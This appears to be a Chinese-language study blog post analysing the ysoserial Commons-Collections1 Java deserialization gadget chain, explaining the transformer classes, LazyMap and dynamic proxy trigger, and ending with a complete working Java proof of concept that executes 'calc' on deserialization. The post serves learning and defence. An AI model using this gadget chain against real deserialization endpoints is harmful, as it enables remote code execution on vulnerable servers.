Java反序列化Common-Collections1利用链分析

前言

之前在Java安全学习笔记(2)中写过Common-Collections这条链学习笔记,笔记是跟着p牛的java安全漫谈系列写的,利用的点都是一致的,只是触发的点,p牛用的是TransformedMap这个类,ysoserial是用的LazyMap,使用LazyMap触发的这条链用到了对象代理技术,接下来这边文章,就来分析ysoserialCommon-Collections1这条链的利用方式。

环境

commons-collections <= 3.2.1

JDK <= 8u70 (从8u71之后修复了)

利用链分析

ysoserialCommon-Collections1的payload

image-20220807154148329

看起来比URLDNS的payload多了不少代码,拆分后来看其实也还好,首先看看构造利用点的三个关键类ConstantTransformerInvokerTransformerChainedTransformer

首先来看看ChainedTransformer这个类的transform方法

image-20220807161624627

这个方法类似于链式调用一样,将iTransformers这个数组中的对象的transform都调用一遍,并且传入的参数是上一次个对象调用后的结果,这可能听起来有点绕,用idea多跟几遍也就明白了。

再来看看ConstantTransformer这个类的transform方法

image-20220807162231306

这个方法只返回了一个对象,在创建对象的时候可以控制iConstan参数,比如创建对象我传入一个Runtime.class,那么调用该方法,返回的就是Runtime.class

最后再来看看触发命令执行的类InvokerTransformertransform方法

image-20220807155001969

学了反射的都知道,这个方法的作用就是传入一个对象,通过反射去获取这个这个对象的任意方法,然后再调用。并且在创建InvokerTransformer对象的时候,可以控制传入的方法名和参数。

接下来,通过new一个InvokerTransformer对象,执行transform方法,来弹出一个计算器。

image-20220807160125838

成功达到执行命令的效果。

看看ysoserial中执行命令的方式

image-20220807160845557

为什么ysoserial中不是直接调用exec来触发命令的呢?

因为Runtime这个类是没有实现Serializable接口,不能对其进行反序列化,直接反序列化会进行报错。

解决这个问题的方式就是通过反射调用Runtime.getRuntime().exec()方法。

当执行InvokerTransformertransform方法时,我们可以先获取到RuntimegetMethod方法,在通过获取的到getMethod的去获取getRuntime方法,有点套娃的感觉,反射获取反射方法。然后再调用获取到Runtime对象,最后exec执行命令。

接下来,只需要调用ChainedTransformertransform方法,就会将整个transforms数组中的对象串联起来,挨个执行transform方法,前一个对象的返回结果作为后一个对象的参数值。

image-20220807163543886

到这里,我们只需要找出一条xx.readObject -> gadget-> ChainedTransformer.transform即可。

ysoserial中是用的LazyMapget方法。

image-20220807165219215

然后再通过AnnotationInvocationHandlerinvoke方法调用LazyMapget方法

image-20220807164643656

那要怎么才能调用到AnnotationInvocationHandlerinvoke方法呢?答案是使用对象代理。

Java对象动态代理

Java对象代理是一种设计模式,提供了对目标对象另外的访问方式,即通过代理对象访问目标对象。可以不修改目标对象,对目标对象功能进行拓展。生活中也有类似的例子,生活中常见的例子就是,去电影院看电影,电影院播放的电影都是制片厂商授权给电影院播放,电影院就像一个代理商,除了播放电影,在观影期间,电影院还可以再开头和结尾插播一下广告。而Java对象代理,可以通过代理原来的对象,在不修改原来对象的基础对其功能进行增强和扩展。

关于Java对象代理网上有很多文章,就不展开写了,主要还是分析利用链。

Java中对象动态代理的方法

1
Proxy.newProxyInstance(ClassLoader loader,Class<?>[] interfaces,InvocationHandler h)

ClassLoader loader 传递一个类加载器,使用对象默认的加载器即可

Class<?>[] interfaces 传递一个接口,对那个接口使用动态代理

InvocationHandler h 传递一个InvocationHandler对象,这个对象的作用就是处理被代理的对象需要做的逻辑。InvocationHandler 是一个接口,有一个invoke方法,当被代理对象调用任意方法时,都会调用invoke方法。

ysoserial中则是对LazyMap对象进行了动态代理,对其进行序列化,在执行readObject反序列化过程中,只要被代理过的对象调用任意方法,都会执行invoke方法。

重新再梳理一遍,我们通过构造三个InvokerTransformer这个类对象,达到了以反射的方式调用了Runtime类的exec方法执行命令,再构造一个Transformer数组,将该数组作为参数创建ChainedTransformer对象,然后只需要调用ChainedTransformertransform方法,就能弹出计算机。

但是如果通过反序列化来调用的话,需要构造一条gadget。在LazyMapget方法中,factory变量调用了transform方法。在AnnotationInvocationHandlerinvoke方法中,memberValues变量调用了get方法。那问题来了,要怎么在反序列化的情况下调用到invoke方法呢?

先看看什么情况下,会调用到invoke

对对象进行动态代理,创建一个继承InvocationHandler类的实例,重写invoke方法,在创建代理的时候传入这个实例,当这个实例调用任意方法的时候,就会自动触发调用invoke

而在AnnotationInvocationHandlerreadObject方法中,有一条语句memberValues.entrySet

image-20220809112245098

假设我们传入被动态代理过后的LazyMap对象,是不是就可以触发调用invoke方法了呢?

答案是肯定的。

image-20220809112845242
image-20220809112738259

直接弹出来计算机。

利用链

至此,我们得到一个利用链

1
2
3
4
5
6
AnnotationInvocationHandler->readObject
AnnotationInvocationHandler->invoke
LazyMap->get
ChainedTransformer->transform
ConstantTransformer->transform
InvokerTransformer->transform
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class test {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
// 先传入一个无害的payload 防止序列化前就执行
ChainedTransformer transformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
HashMap<Object, Object> map = new HashMap<Object, Object>();

Map decorate = LazyMap.decorate(map, transformer);

Class<?> AnnotationInvocation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = AnnotationInvocation.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler)declaredConstructor.newInstance(Retention.class, decorate);

Object o1 = Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, h);
// System.out.println(o1 instanceof Proxy);

setFieldValue(transformer, "iTransformers", transformers);

// 将被代理的对象重新实例化进行 InvocationHandler
InvocationHandler h1 = (InvocationHandler)declaredConstructor.newInstance(Retention.class, o1);

// 将payload修改回来
ByteArrayOutputStream serializ = Serializ(h1);
UnSerializ(serializ);

}

// 序列化
public static ByteArrayOutputStream Serializ(Object o) throws Exception {
// 序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(barr);
outputStream.writeObject(o);
return barr;
}

// 反序列化
public static void UnSerializ(ByteArrayOutputStream baos) throws Exception {
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
// 反射修改对象的变量值
public static void setFieldValue(Object o, String f, Object v) throws Exception{
Class c = o.getClass();
Field field = c.getDeclaredField(f);
field.setAccessible(true);
field.set(o, v);
}
}

参考文章

java动态代理

https://blog.csdn.net/zcc_0015/article/details/22695647